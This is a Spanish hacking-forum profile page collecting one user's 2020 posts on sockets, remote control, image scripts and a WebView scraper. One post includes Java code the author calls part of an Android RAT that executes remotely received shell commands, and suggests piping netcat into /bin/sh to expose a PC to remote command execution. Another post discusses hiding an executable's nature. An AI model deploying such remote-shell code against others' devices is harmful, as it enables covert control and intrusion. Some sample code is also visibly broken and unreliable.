Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - @XSStringManolo

#541
Hacking / Re: Ocultar .exe
3 Mayo 2020, 00:32 AM
Usa el reshacker y hay otra que no me viene el nombre ahora. Jalgo
#542
Hacking / Re: Ocultar .exe
2 Mayo 2020, 23:51 PM
Si se puede. Quieres que te lo digan o que no te lo digan? '--


Hay programas que lo hacen, mira su código fuente y verás como.


Tienes que entender como elige windows que aplicaciones abrir, con que programas, el propio formato de los ejecutables, los mime types y demás.
#543
Redes / Re: Puntero del ratón en un VPS
2 Mayo 2020, 21:11 PM
Lo normal es usar comandos para controlar el sistema. Muchos servidores no tienen ni interfaz.
Si quieres controlar el ratón sí o sí usa el teamviewer.
#544
Scripting / Re: app remota con python
2 Mayo 2020, 19:45 PM
Necesitas una aplicación android. OJO: puedes usar el navegador como cliente para mandar los comandos. Por ejemplo:

197.72.183.34/comando?c=apagar

197.72.183.34/comando?c=encender



A parte de usar el navegador puedes desarrollar tu la aplicación. Siendo para Android deberías usar Java. También puedes usar html+javascript aunque quizás no sea tan cómodo como una aplicación en Java que puedes automatizar. O si qiieres usar cualquier otro lenguaje como oueda ser Python, puedes optar directamente por Termux y ahí disponer de todos los lenguajes como si un sistema Linux se tratase o descargar Pydroid3 si solo vas a desarrollar en Python y usar comandos muy simples.



Ahora, para el programa del pc puedes hacerlo con el lenguaje que quieras o directamente con comandos de la terminal y tareas programables.



Para que no te pierdas, el programa que hagas para Android tiene una única misión, enviar un texto para indicar lo que quieras hacer en el pc. Es super sencillo.


El programa del PC tiene la misión de escuchar los mensajes y ejecutar código en base a ellos.

if textoRecibido == "Apagar":

codigo para apagar.



Para hacer estos programas tu mejor aliado son los sockets, que sirven para enviar datos a través de la red.

En python 2 programas de estas características son aproximadamente 10-15 lineas de código para el cliente y 20-30 para el servidor.



Como info adicional puedes invertir el proceso. Siendo el servidor el que se ejecute en Android y el cliente en el PC.


Por otro lado tienes que abrir puertos del router hacia el dispositivo que RECIBA la conexión.

Si buscas por google python client sockets o python server sockets te saldrán un montón de ejemplos.

Ejemplo de cliente:
Código (python) [Seleccionar]
import socket
def netcat(host, puerto, contenido):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, puerto))
contenido="GET /index.html HTTP/1.1\r\nHost: www.google.com\r\nConnection: close\r\n\r\n"
contenido = contenido.encode('utf-8')
s.sendall(contenido)
response = b''
while 1:
recv = s.recv(2048)
resp = repr(recv)
respT= len(resp)
if respT < 5:
break
response += recv
s.shutdown(socket.SHUT_WR)
s.close()
return response

respuesta = netcat("google.com" , 80 , 1)
print(respuesta)
print("Fin ejec")



Ejemplo código servidor:
Código (python) [Seleccionar]
import socket
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
host = s.gethostname()
port = 9999
serversocket.bind((host, port))
nOR=5
serversocket.listen(nOR)
while True:
clientsocket,addr = serversocket.accept()
print("Got a connection from %s" % str(addr)) msg = 'Thank you for connecting'+ "\r\n"
clientsocket.send(msg.encode('ascii'))
clientsocket.close()



El cliente lo tengo testeado y funciona correctamente aunque necesita mucha mejora. El servidor no lo testee.
Te recomiendo hacerlo de 0. Estes códigos solo los comparto como ejemplos para que más o menos veas como es la historia. No como códigos totalmente funcionales y listos para usar.

Aquí te dejo también un mini ejemplo del uso de sockets en Java. En este caso es parte del código de un servidor RAT para controlar un Android que programé el otro día.
Código (java) [Seleccionar]
package com.stringmanolo.rs;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import android.os.SystemClock;
/* Mensajes en la app para debug.
import android.widget.Toast;
*/


public class Conexion {
public static void Conectar(){
Thread hilo = new Thread(new Runnable() {
@Override
public void run() {
Socket socket = new Socket();

/* Intenta establecer una conexión a la dirección y puertos hardcodeados durante timeout*/
try {
/* Bloquea toda la aplicación */
SystemClock.sleep(30000);
socket.connect(new InetSocketAddress("192.168.11.1", 8585), 10000);
} catch(Exception errConexion) {
/* Muestra el error en un mensaje emergente en la aplicación por motivos de debug.
Toast.makeText(getApplicationContext(),errConexion.toString(),Toast.LENGTH_SHORT).show();
*/
android.os.Process.killProcess(android.os.Process.myPid());
}

/* Comunicación por el socket */
try {
OutputStream peticion = socket.getOutputStream();
String msgInicial = "SISTEMA REMOTO OPERATIVO\nEscribe ayuda para mostrar una lista de comandos disponibles\n";
/* Envia el texto al cliente remoto */
peticion.write(msgInicial.getBytes("UTF-8"));
/* INCLUIR: Escribir info al establecer la conexión para identificar el servidor de forma única */
peticion.flush();


/* Recibe por el socket el texto a ejecutar */
String linea = "";
String respuesta = "";
BufferedReader buffLeer = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8"));


/* Mientras se reciban datos desde el cliente */
while((linea = buffLeer.readLine()) != null) {
/* Innecesario, utilizar += en caso de querer loggear input del cliente */
respuesta = linea;

/* En caso de que el input recibido comienze por # */
if (respuesta.charAt(0) == '#') {
/* Quita el # para procesar el resto del input recibido */
respuesta = respuesta.substring(1);

try {
/* Pasa el comando directamente a la consola del sistema. */
/* CUIDADO: Vas crashear la aplicación si utilizas comandos no permitidos por el sistema. O comandos inexistentes. */
/* ALTERNATIVA: Implementa la utilidad o impórtala como librería para manejar las excepciones. */
/* PROBLEMA: No utilizar directamente binarios que requiera de input directo desde shell. */
/* SOLUCIÓN: La aplicación se reinicia cada X tiempo. Esto soluciona múltiples problemas relacionados con cuelges de servicios del sistema */
Process comando = Runtime.getRuntime().exec(respuesta);

/* Obtiene el resultado en la consola del sistema del dispositivo generada por el comando. */
BufferedReader salidaRemota = new BufferedReader(new InputStreamReader(comando.getInputStream()));


String salidaComando = null;
/* Mientras se reciba salida del sistema remoto */
while((salidaComando = salidaRemota.readLine()) != null) {
/* Añade saltos de linea a la salida tras cada linea. */
salidaComando += "\n";
/* Escribe en el socket */
peticion.write(salidaComando.getBytes("UTF-8"));
}

} catch(Exception err) {
/* Muestra el error en un mensaje emergente en la aplicación por motivos de debug.
Toast.makeText(getApplicationContext(),err.toString(),Toast.LENGTH_SHORT).show();
*/
}
}

/* En caso de que el input recibido sea programas */
if (respuesta.trim().equals("programas")) {
/* Muestra los binarios disponibles en el sistema. */
Process bin = Runtime.getRuntime().exec("ls system/bin");
BufferedReader stdInput = new BufferedReader(new InputStreamReader(bin.getInputStream()));
String salidaBin = null;
while((salidaBin = stdInput.readLine()) != null) {
salidaBin += "\n";
peticion.write(salidaBin.getBytes("UTF-8"));
}
}

/* En caso de que el input recibido sea salir */
if (respuesta.trim().equals("salir")) {
/* Muestra un mensaje antes de salir. */
peticion.write("Aplicación Cerrada.\nAdios!\n".getBytes("UTF-8"));

/* Cierra el socket aquí o en OnStop */
socket.close();
/* Finaliza La Aplicación Forzosamente */
android.os.Process.killProcess(android.os.Process.myPid());
}

/* En caso de que el input recibido sea ayuda. */
if (respuesta.trim().equals("ayuda")) {
/* Muestra el texto. */
peticion.write("Acciones Disponibles:\nprogramas\n Lista todos los binarios preinstalados en el sistema remoto\n\n#comando\n Ejecuta el comando a continuación del símbolo #, por ejemplo #ls\n\nsalir\n Cierra la conexión y el programa remoto.\n".getBytes("UTF-8"));
}
}
} catch(Exception errConexion) {
/* Es obligatorio capturar la excepción */
}
} /* Fin Runneable */
}); /* Fin Hilo */
hilo.start();
}
}


Te dejo también el código javascript de un cliente:
Código (javascript) [Seleccionar]
function Enviar(ip, puerto, mensaje) {

var b = new XMLHttpRequest(), url = ip+"?mensaje="+mensaje+":"+puerto;
try{
b.onreadystatechange = function(){
if(b.readyState == 4 && b.status == 200) {
alert(b.responseText);
}
}
}catch(err){alert(err)}
b.open("GET", url, true);
b.send();
}




También puedes usar comados como netcat -l -k -v ip puerto > /bin/sh o cmd para exponer el pc a ser controlado directamente por comandos. Podrías usar grep para parsear el text enviado por el cliente y que se ejecute el comando directamente.


Si necesitas ejemplos en otros lenguajes de programación tengo desarrollados clientes y servidores en C, Cpp, php, lua, bash/batch, perl, node.js ....




#545
Son assets y resources de aplicaciones. Yo tengo más de 1000 en la galería.


Por ejemplo si instalas una aplicación de edición de imágenes, pueden incluir todas las imágenes una carpeta en el almacenamiento del dispositivo o la tarjeta sd para su uso posterior. También mucha app con anuncios hace esto. Y algunos navegadores entre otras aplicaciones guardan imágenes coml cache.


La aplicación de la galería indexa en las carpetas en búsqueda de todas la imagenes a las que puede acceder bajo X directorio.
Si fuese un virus no haría eso xD. Las ocultaría dentro de la carpeta exclusiva de su programa o incluso como código. Es una gran misconception pensar que los virus te van a dar pistas obvias de que están ahí.
#546
Lo hice en javascript. Seguro que se puede hacer mucho más peque.
Código (javascript) [Seleccionar]
upperTriangleDesc=A=>{
  for(i=1;i<A.length;++i)
    for(j=0;j<i;++j)
      if(A[i][j])return 0
  ;return 1
}
#547
Redes / Re: ¿Estoy abriendo los puertos?
2 Mayo 2020, 09:22 AM
EdePC ese es el bueno, el que te trae -e --lua-exec y demás? Facilita mucho a gente que no tiene ninguna experiencia con comandos.
Yo creo que el que uso es el que viene con nmap. En el github de nmap te tienen scrips como pueda ser un servidor en Lua para que corrar con el netcat y tal. Es muy útil para alojar y testear páginas o ver/compartir algunos archivos de forma sencilla.
#548
Pues hay bastantes formas. La más cutre y trabajosa posiblemente sea editar las fotos a mano y cambiarlas cada vez que pinchan en un color.

Yo personalmente cambiaría el color de los píxeles usando el canvas y javascript. Te dejo un código en el que uso los colores para recrear la imagen con etiquetas a las que aplico css en base a los propios colores de cada pixel. En vez de eso puedes editar los colores directamente en la imagen que está sobre el canvas.


Código (javascript) [Seleccionar]
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>OCR</title>
<script>
/* SHORTCUTJS lib by StringManolo.
Use of the global Scope to code faster, reduce file sizes, reduce memory usage and make some code more readable/compact. Readable Version */
(function (){
DEFINE=function(constant, value) {
if(window[constant]===undefined) {
window[constant] = value
} else {
throw new ReferenceError(constant + " is already a property of the global/window Object.\nRedefinition not allowed.");
}
}


wrapQS=function(selector) {
return d.querySelector(selector)
}


wrapQSA=function(selector) {
return d.querySelectorAll(selector)
}


wrapAEL=function(elemnt, event, value) {
elemnt.addEventListener(event, value);
}


wrapDCE=function(element) {
return d.createElement(element);
}


wrapUCOU=function(url) {
return URL.createObjectURL(url)
}




DEFINE("d", window.document);
DEFINE("w", window);
DEFINE("$", wrapQS);
DEFINE("$$", wrapQSA);
DEFINE("dw", d.write);
DEFINE("_", window.alert);
DEFINE("ael", wrapAEL);
DEFINE("dce", wrapDCE);
DEFINE("ucou", URL.createObjectURL);


})();
</script>
</head>
<body>
<canvas id="canv" width="300" height="300"></canvas>
<div id="output"></div>
<!-- <a href="" id="a">click here to download your file</a> -->
<style>
canvas {
background-color: blue;
}


body {
background-color: #000;
font-size: 2px;
}


span {
padding: 0;
letter-spacing: -1;
}


</style>
<script>
/* DOWNLOAD IMAGE CROSSORIGEN: (to avoid tainted canvas) */
const request = fetch("https://cors-anywhere.herokuapp.com/" + prompt("Introduce URL de imagen. Ej: google.com/favicon.ico"));
request.then(function(resp) {
return resp.blob();
}).then(function(blob) {
let img = dce("img");
const blobURL = ucou(blob);
img.src = blobURL;
img.id = "imagen";
d.body.append(img);
_("Imagen añadida");
}).then(function(){
ael($("#imagen"), "load", function(){LIIC()});
}).catch(function(error) {
_("Error: " + error);
})




/* LOAD IMAGE INTO CANVAS */
function LIIC() {
let canvas = $("#canv");


let contexto = canvas.getContext("2d");
let imagen = $("#imagen");
canvas.width = imagen.width;
canvas.height = imagen.height;
contexto.drawImage(imagen,0,0);


SacarPixeles();


/* GET PIXELS IMAGE COLOR AND DRAW A IMAGE */
function SacarPixeles(){
let dataImagen = contexto.getImageData(0,0, canvas.width, canvas.height);
_("Tamaño imagen data: " + dataImagen.data.length);


let pixR =[], pixG =[], pixB =[], pixA =[];




let k = "";
for(var i =0, j =0; i < dataImagen.data.length; i +=4, ++j) {
k += "Colores pixel" +(j+1)+ ": Rojo=" +dataImagen.data[i]+" \nVerde=" +dataImagen.data[i+1]+" \nAzul=" +dataImagen.data[i+2]+" \nAlfa=" +dataImagen.data[i+3]+"\n\n\n";
pixR[j] = dataImagen.data[i].toString(16);
pixG[j] = dataImagen.data[1+i].toString(16);
pixB[j] = dataImagen.data[2+i].toString(16);
pixA[j] = dataImagen.data[3+i].toString(16);
}


performance = d.createDocumentFragment();
for(var i=0; i < pixR.length; ++i) {
var tdiv=dce("b");
var tbr=dce("br");
if(i % canvas.width == 0) {
performance.appendChild(tbr);
}
/*
░▒▓█
*/
tdiv.innerHTML = "▓";
tdiv.style.color = "#"+pixR[i]+""+pixG[i]+""+pixB[i]+""+pixA[i]+"";
performance.appendChild(tdiv);
}
_("Escribiendo...");
$("#output").appendChild(performance);


_("Imagen percorrida");
_(k);
k = "";
}




}


</script>
</body>
</html>

#549
Desarrollo Web / Re: Usar react offline?
2 Mayo 2020, 08:58 AM
Ya viera por ahí lo de instalarlo así en node. Lo malo es que tengo el Android que uso para desarrollo petado y mi internet es de pocos kb/s xD. Tiene que ir como lo estaba intentando, no sé cual es el problema... Lo intentaré de nuevo capturando las petis de las libs originales y las replico con netcat o algo. Se me hace extraño que no me vaya como lo intenté, por eso lo comenté a ver si alguien ve el problema. Con vue hice exactamente lo mismo y me va perfecto.

Si no lo consigo cuando me den los datos limpio un poco el Smartphone y lo instalo por node tal como me recomiendas. Gracias.
#550
Código (java) [Seleccionar]
package com.stringmanolo.elhrecent;

import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebChromeClient;
import android.webkit.JsResult;
import android.os.Handler;
import com.stringmanolo.elhrecent.R;

/*

Este código ha sido desarrollado y probado en el siguiente entorno:

Sistema: Android.

IDE: Java N-IDE.

Software adicional: Termux/netcat y google chrome.

*/


/*

Como funciona?
Pones un servidor a la escucha y abres esta aplicación.

Como compilar?
Debes crear un nuevo proyecto para Android y añadir el codigo.

Este es el MainActivity.java

Añade también el permiso de acceso a internet en el manifest y añade un webview en el activity_main.xml con id navegador
android:id="@+id/navegador"

*/

public class MainActivity extends Activity {
  @Override
  protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);

/* id.navegador definido en activity_main.xml */
    final WebView Navegador;
    Navegador = (WebView)findViewById(R.id.navegador);
   
/* Habilita javascript */ Navegador.getSettings().setJavaScriptEnabled(true);

/* Utiliza chrome de cliente HTTP. */
    Navegador.setWebChromeClient(new WebChromeClient() {
      @Override
      public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
/* Habilita el alert */
        return super.onJsAlert(view, url, message, result);
      }   
    });

/* Cambia el userAgent para que no salga el confirm de tapatalk */ Navegador.getSettings().setUserAgentString("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
   
/* Carga la página con mensajes recientes del foro. */ Navegador.loadUrl("https://foro.elhacker.net/recent.html");

/* Handler para zumbar el script en el contexto de la página del foro. Con espera asíncrona. */
    final Handler jsh = new Handler();
    jsh.postDelayed(new Runnable() {
      @Override
      public void run() {

/* Código desglosado:

javascript:
Pseudoprotocolo. Permite ejecutar el script en el contexto de la página actual.

document.querySelectorAll(\".bordercolor\");
Obtiene todos los elementos de la página con la clase bordercolor.

tags+=links[i].outerHTML;tags+=\"<p></p>\";
Obtiene el código de todos los elementos en un string y los separa utilizando etiquetas <p>.

return \"SFRUUC8xLjEgMjAwIE9LDQoNCg==\" +''+btoa(tags);
En la llamada a la funcion Scrap() retorna un ok status 200 codificado en base64 y codifica a base64 el código de todos los elementos obtenidos de la página.

r.open('GET','http://127.0.0.1:8080/q?codigo='+Scrap(), 1);
Envia una petición GET a la dirección 127.0.0.1 puerto 8080 el parámetro y en la propia url el retorno de la función Scrap()

*/
Navegador.loadUrl("javascript:function Scrap(){var links=document.querySelectorAll(\".bordercolor\");var tam=links.length;var tags=\"\";for(var i=1;i<tam;++i){tags+=links[i].outerHTML;tags+=\"<p></p>\";}return \"SFRUUC8xLjEgMjAwIE9LDQoNCg==\" +''+btoa(tags)}r=new XMLHttpRequest();r.open('GET','http://127.0.0.1:8080/q?codigo='+Scrap(), 1);r.send();r.onreadystatechange=function(){r.readyState==4&&r.status==200?alert(r.responseText):1}");   
      }
    }, 15000); /* Esperar 15 segundos para conexiones lentas. */
  }
}
/* Se debe poner a la escucha previamente un servidor en la dirección y puerto que asignes en el script.

Yo utilizo el siguiente comando:

$ netcat -l -v 127.0.0.1 8080 | grep -Po '(?<=(codigo=)).*(?=HTTP)' | base64 -d > codigoH.html | netcat -l -k 127.0.0.1 8081 < codigoH.html | echo -e "\r\n\r\n\r\n"

Comando desglosado:

netcat -l -v 127.0.0.1 8080
Pone a la escucha y logea la actividad en la ip 127.0.0.1 y puerto 8080. Según tu versión de netcat puede cambiar la sintaxis.

| grep -Po '(?<=(codigo=)).*(?=HTTP)'
Obtiene solo el string entre codigo= y HTTP. Es decir, solo el 200 ok status y el código extraido de la página codificado en base64.

| base64 -d > codigoH.html
Decodifica de base64 y guarda el stream en un archivo codigoH.html

| netcat -l -k 127.0.0.1 8081 < codigoH.html
Pone a la escucha el netcat también en la dirección 127.0.0.1 con puerto 8081 y responde con una petición y el contenido html. De esta forma netcat actual de servidor válido para el navegador. Al poner http://127.0.0.1:8081 recibes el código. Según tu navegador puede que necesites preformatear el documento en un html válido y añadirle algunas cabeceras o etiquetas meta para la codificación.

echo -e "\r\n\r\n\r\n"
Añade el fin de la petición para que el navegador carge la página y rompe el netcat.

*/


Hice un scraper cutre para ver los últimos mensajes del foro en el Android.

Se le puede meter el runable como servicio y arrancar al inicio para tenerlo 24/7. Hacer un intento desde un broadcast reciber, meterle un systemclock.pause, cambiar el netcat y demás por sockets, mostrar el código en una preview con notificaciones o en plan widget o ventana... También podeis meterle una interfaz de javascript y controlar el navegador desde el netcat con la interfaz, el pseudoprotocolo, el xhr y el eval. Por ejemplo podrías darte un llama cuelga automáticamente desde un Android a otro cuando alguien publique un nuevo tema en un foro que te interesa xD

Puedes también enchufarle por pseudoprotocolo etiquetas style a lo bruto después del for
tags+=\"<style>td{border-left: 3px solid red;background-color:lightgrey;}</style>\";

Puede reusar la misma metodología para enviar forms, o hacer otras tareas con javascript en otras páginas.

Igual más alante lo mejoro para que se pueda automatizar con interfaz en múltiples páginas.